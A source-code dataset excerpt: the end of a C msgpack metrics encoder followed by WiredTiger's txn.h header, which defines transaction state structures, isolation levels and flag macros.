* 'meta' => {
* 'ver' => INTEGER
* 'type' => INTEGER
* '0' = counter
* '1' = gauge
* '2' = histogram (WIP)
* 'opts' => {
* 'ns' => ns
* 'subsystem' => subsystem
* 'name' => name
* 'description' => description
* },
* 'label_dictionary' => ['', ...],
* 'static_labels' => [n, ...],
* 'label_keys' => [n, ...],
* 'buckets' => [n, ...]
* },
* 'values' => [
* {
* 'ts' : nanosec timestamp,
* 'value': float64 value,
* 'label_values': [n, ...],
* 'histogram': {
* 'sum': float64,
* 'count': uint64,
* 'buckets': [n, ...]
* },
* 'summary': {
* 'sum': float64,
* 'count': uint64,
* 'quantiles': [n, ...],
* 'quantiles_set': uint64
* },
* 'hash': uint64 value
* }
* ]
* }
* , ...]
*
*
* The following fields are metric type specific and are only
* included for histograms :
* meta->buckets
* values[n]->buckets
* values[n]->count
* values[n]->sum
*/
if (cmt == NULL) {
return -1;
}
mpack_writer_init_growable(&writer, &data, &size);
metric_count = 0;
metric_count += mk_list_size(&cmt->counters);
metric_count += mk_list_size(&cmt->gauges);
metric_count += mk_list_size(&cmt->untypeds);
metric_count += mk_list_size(&cmt->summaries);
metric_count += mk_list_size(&cmt->histograms);
/* We want an array to group all these metrics in a context */
mpack_start_array(&writer, metric_count);
/* Counters */
mk_list_foreach(head, &cmt->counters) {
counter = mk_list_entry(head, struct cmt_counter, _head);
pack_basic_type(&writer, cmt, counter->map);
}
/* Gauges */
mk_list_foreach(head, &cmt->gauges) {
gauge = mk_list_entry(head, struct cmt_gauge, _head);
pack_basic_type(&writer, cmt, gauge->map);
}
/* Untyped */
mk_list_foreach(head, &cmt->untypeds) {
untyped = mk_list_entry(head, struct cmt_untyped, _head);
pack_basic_type(&writer, cmt, untyped->map);
}
/* Summary */
mk_list_foreach(head, &cmt->summaries) {
summary = mk_list_entry(head, struct cmt_summary, _head);
pack_basic_type(&writer, cmt, summary->map);
}
/* Histogram */
mk_list_foreach(head, &cmt->histograms) {
histogram = mk_list_entry(head, struct cmt_histogram, _head);
pack_basic_type(&writer, cmt, histogram->map);
}
if (mpack_writer_destroy(&writer) != mpack_ok) {
fprintf(stderr, "An error occurred encoding the data!\n");
return -1;
}
mpack_finish_array(&writer);
*out_buf = data;
*out_size = size;
return 0;
}
void cmt_encode_msgpack_destroy(char *out_buf)
{
if (NULL != out_buf) {
MPACK_FREE(out_buf);
}
}
| 29.181664 | 129 | 0.582674 |
32234dca23ef7a8d3345e95d7e744cd6595408ef | 8,693 | h | C | src/third_party/wiredtiger/src/include/txn.h | norttung/mongo | a5e78c5cac31b22983cf4fc546329a85c0927fe9 | [
"Apache-2.0"
] | 1 | 2018-03-07T22:12:35.000Z | 2018-03-07T22:12:35.000Z | src/third_party/wiredtiger/src/include/txn.h | norttung/mongo | a5e78c5cac31b22983cf4fc546329a85c0927fe9 | [
"Apache-2.0"
] | 4 | 2019-02-22T10:05:59.000Z | 2021-03-26T00:20:23.000Z | src/third_party/wiredtiger/src/include/txn.h | norttung/mongo | a5e78c5cac31b22983cf4fc546329a85c0927fe9 | [
"Apache-2.0"
] | 10 | 2018-11-29T07:17:30.000Z | 2022-03-07T01:33:41.000Z | /*-
* Copyright (c) 2014-2018 MongoDB, Inc.
* Copyright (c) 2008-2014 WiredTiger, Inc.
* All rights reserved.
*
* See the file LICENSE for redistribution information.
*/
#define WT_TXN_NONE 0 /* No txn running in a session. */
#define WT_TXN_FIRST 1 /* First transaction to run. */
#define WT_TXN_ABORTED UINT64_MAX /* Update rolled back, ignore. */
/* AUTOMATIC FLAG VALUE GENERATION START */
#define WT_TXN_LOG_CKPT_CLEANUP 0x01u
#define WT_TXN_LOG_CKPT_PREPARE 0x02u
#define WT_TXN_LOG_CKPT_START 0x04u
#define WT_TXN_LOG_CKPT_STOP 0x08u
#define WT_TXN_LOG_CKPT_SYNC 0x10u
/* AUTOMATIC FLAG VALUE GENERATION STOP */
/* AUTOMATIC FLAG VALUE GENERATION START */
#define WT_TXN_OLDEST_STRICT 0x1u
#define WT_TXN_OLDEST_WAIT 0x2u
/* AUTOMATIC FLAG VALUE GENERATION STOP */
/*
* Transaction ID comparison dealing with edge cases.
*
* WT_TXN_ABORTED is the largest possible ID (never visible to a running
* transaction), WT_TXN_NONE is smaller than any possible ID (visible to all
* running transactions).
*/
#define WT_TXNID_LE(t1, t2) \
((t1) <= (t2))
#define WT_TXNID_LT(t1, t2) \
((t1) < (t2))
#define WT_SESSION_TXN_STATE(s) (&S2C(s)->txn_global.states[(s)->id])
#define WT_SESSION_IS_CHECKPOINT(s) \
((s)->id != 0 && (s)->id == S2C(s)->txn_global.checkpoint_id)
/*
* Perform an operation at the specified isolation level.
*
* This is fiddly: we can't cope with operations that begin transactions
* (leaving an ID allocated), and operations must not move our published
* snap_min forwards (or updates we need could be freed while this operation is
* in progress). Check for those cases: the bugs they cause are hard to debug.
*/
#define WT_WITH_TXN_ISOLATION(s, iso, op) do { \
WT_TXN_ISOLATION saved_iso = (s)->isolation; \
WT_TXN_ISOLATION saved_txn_iso = (s)->txn.isolation; \
WT_TXN_STATE *txn_state = WT_SESSION_TXN_STATE(s); \
WT_TXN_STATE saved_state = *txn_state; \
(s)->txn.forced_iso++; \
(s)->isolation = (s)->txn.isolation = (iso); \
op; \
(s)->isolation = saved_iso; \
(s)->txn.isolation = saved_txn_iso; \
WT_ASSERT((s), (s)->txn.forced_iso > 0); \
(s)->txn.forced_iso--; \
WT_ASSERT((s), txn_state->id == saved_state.id && \
(txn_state->metadata_pinned == saved_state.metadata_pinned ||\
saved_state.metadata_pinned == WT_TXN_NONE) && \
(txn_state->pinned_id == saved_state.pinned_id || \
saved_state.pinned_id == WT_TXN_NONE)); \
txn_state->metadata_pinned = saved_state.metadata_pinned; \
txn_state->pinned_id = saved_state.pinned_id; \
} while (0)
struct __wt_named_snapshot {
const char *name;
TAILQ_ENTRY(__wt_named_snapshot) q;
uint64_t id, pinned_id, snap_min, snap_max;
uint64_t *snapshot;
uint32_t snapshot_count;
};
struct __wt_txn_state {
WT_CACHE_LINE_PAD_BEGIN
volatile uint64_t id;
volatile uint64_t pinned_id;
volatile uint64_t metadata_pinned;
WT_CACHE_LINE_PAD_END
};
struct __wt_txn_global {
volatile uint64_t current; /* Current transaction ID. */
/* The oldest running transaction ID (may race). */
volatile uint64_t last_running;
/*
* The oldest transaction ID that is not yet visible to some
* transaction in the system.
*/
volatile uint64_t oldest_id;
WT_DECL_TIMESTAMP(commit_timestamp)
WT_DECL_TIMESTAMP(last_ckpt_timestamp)
WT_DECL_TIMESTAMP(meta_ckpt_timestamp)
WT_DECL_TIMESTAMP(oldest_timestamp)
WT_DECL_TIMESTAMP(pinned_timestamp)
WT_DECL_TIMESTAMP(recovery_timestamp)
WT_DECL_TIMESTAMP(stable_timestamp)
bool has_commit_timestamp;
bool has_oldest_timestamp;
bool has_pinned_timestamp;
bool has_stable_timestamp;
bool oldest_is_pinned;
bool stable_is_pinned;
WT_SPINLOCK id_lock;
/* Protects the active transaction states. */
WT_RWLOCK rwlock;
/* Protects logging, checkpoints and transaction visibility. */
WT_RWLOCK visibility_rwlock;
/* List of transactions sorted by commit timestamp. */
WT_RWLOCK commit_timestamp_rwlock;
TAILQ_HEAD(__wt_txn_cts_qh, __wt_txn) commit_timestamph;
uint32_t commit_timestampq_len;
/* List of transactions sorted by read timestamp. */
WT_RWLOCK read_timestamp_rwlock;
TAILQ_HEAD(__wt_txn_rts_qh, __wt_txn) read_timestamph;
uint32_t read_timestampq_len;
/*
* Track information about the running checkpoint. The transaction
* snapshot used when checkpointing are special. Checkpoints can run
* for a long time so we keep them out of regular visibility checks.
* Eviction and checkpoint operations know when they need to be aware
* of checkpoint transactions.
*
* We rely on the fact that (a) the only table a checkpoint updates is
* the metadata; and (b) once checkpoint has finished reading a table,
* it won't revisit it.
*/
volatile bool checkpoint_running; /* Checkpoint running */
volatile uint32_t checkpoint_id; /* Checkpoint's session ID */
WT_TXN_STATE checkpoint_state; /* Checkpoint's txn state */
WT_TXN *checkpoint_txn; /* Checkpoint's txn structure */
volatile uint64_t metadata_pinned; /* Oldest ID for metadata */
/* Named snapshot state. */
WT_RWLOCK nsnap_rwlock;
volatile uint64_t nsnap_oldest_id;
TAILQ_HEAD(__wt_nsnap_qh, __wt_named_snapshot) nsnaph;
WT_TXN_STATE *states; /* Per-session transaction states */
};
typedef enum __wt_txn_isolation {
WT_ISO_READ_COMMITTED,
WT_ISO_READ_UNCOMMITTED,
WT_ISO_SNAPSHOT
} WT_TXN_ISOLATION;
/*
* WT_TXN_OP --
* A transactional operation. Each transaction builds an in-memory array
* of these operations as it runs, then uses the array to either write log
* records during commit or undo the operations during rollback.
*/
struct __wt_txn_op {
uint32_t fileid;
enum {
WT_TXN_OP_NONE,
WT_TXN_OP_BASIC,
WT_TXN_OP_INMEM,
WT_TXN_OP_REF_DELETE,
WT_TXN_OP_TRUNCATE_COL,
WT_TXN_OP_TRUNCATE_ROW
} type;
union {
/* WT_TXN_OP_BASIC, WT_TXN_OP_INMEM */
WT_UPDATE *upd;
/* WT_TXN_OP_REF_DELETE */
WT_REF *ref;
/* WT_TXN_OP_TRUNCATE_COL */
struct {
uint64_t start, stop;
} truncate_col;
/* WT_TXN_OP_TRUNCATE_ROW */
struct {
WT_ITEM start, stop;
enum {
WT_TXN_TRUNC_ALL,
WT_TXN_TRUNC_BOTH,
WT_TXN_TRUNC_START,
WT_TXN_TRUNC_STOP
} mode;
} truncate_row;
} u;
};
/*
* WT_TXN --
* Per-session transaction context.
*/
struct __wt_txn {
uint64_t id;
WT_TXN_ISOLATION isolation;
uint32_t forced_iso; /* Isolation is currently forced. */
/*
* Snapshot data:
* ids < snap_min are visible,
* ids > snap_max are invisible,
* everything else is visible unless it is in the snapshot.
*/
uint64_t snap_min, snap_max;
uint64_t *snapshot;
uint32_t snapshot_count;
uint32_t txn_logsync; /* Log sync configuration */
/*
* Timestamp copied into updates created by this transaction.
*
* In some use cases, this can be updated while the transaction is
* running.
*/
WT_DECL_TIMESTAMP(commit_timestamp)
/*
* Set to the first commit timestamp used in the transaction and fixed
* while the transaction is on the public list of committed timestamps.
*/
WT_DECL_TIMESTAMP(first_commit_timestamp)
/*
* Timestamp copied into updates created by this transaction, when this
* transaction is prepared.
*/
WT_DECL_TIMESTAMP(prepare_timestamp)
/* Read updates committed as of this timestamp. */
WT_DECL_TIMESTAMP(read_timestamp)
TAILQ_ENTRY(__wt_txn) commit_timestampq;
TAILQ_ENTRY(__wt_txn) read_timestampq;
bool clear_ts_queue; /* Set if we need to clear from the queue */
/* Array of modifications by this transaction. */
WT_TXN_OP *mod;
size_t mod_alloc;
u_int mod_count;
/* Scratch buffer for in-memory log records. */
WT_ITEM *logrec;
/* Requested notification when transactions are resolved. */
WT_TXN_NOTIFY *notify;
/* Checkpoint status. */
WT_LSN ckpt_lsn;
uint32_t ckpt_nsnapshot;
WT_ITEM *ckpt_snapshot;
bool full_ckpt;
const char *rollback_reason; /* If rollback, the reason */
/* AUTOMATIC FLAG VALUE GENERATION START */
#define WT_TXN_AUTOCOMMIT 0x00001u
#define WT_TXN_ERROR 0x00002u
#define WT_TXN_HAS_ID 0x00004u
#define WT_TXN_HAS_SNAPSHOT 0x00008u
#define WT_TXN_HAS_TS_COMMIT 0x00010u
#define WT_TXN_HAS_TS_READ 0x00020u
#define WT_TXN_IGNORE_PREPARE 0x00040u
#define WT_TXN_NAMED_SNAPSHOT 0x00080u
#define WT_TXN_PREPARE 0x00100u
#define WT_TXN_PUBLIC_TS_COMMIT 0x00200u
#define WT_TXN_PUBLIC_TS_READ 0x00400u
#define WT_TXN_READONLY 0x00800u
#define WT_TXN_RUNNING 0x01000u
#define WT_TXN_SYNC_SET 0x02000u
#define WT_TXN_TS_COMMIT_ALWAYS 0x04000u
#define WT_TXN_TS_COMMIT_KEYS 0x08000u
#define WT_TXN_TS_COMMIT_NEVER 0x10000u
#define WT_TXN_UPDATE 0x20000u
/* AUTOMATIC FLAG VALUE GENERATION STOP */
uint32_t flags;
};
| 29.368243 | 79 | 0.746578 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.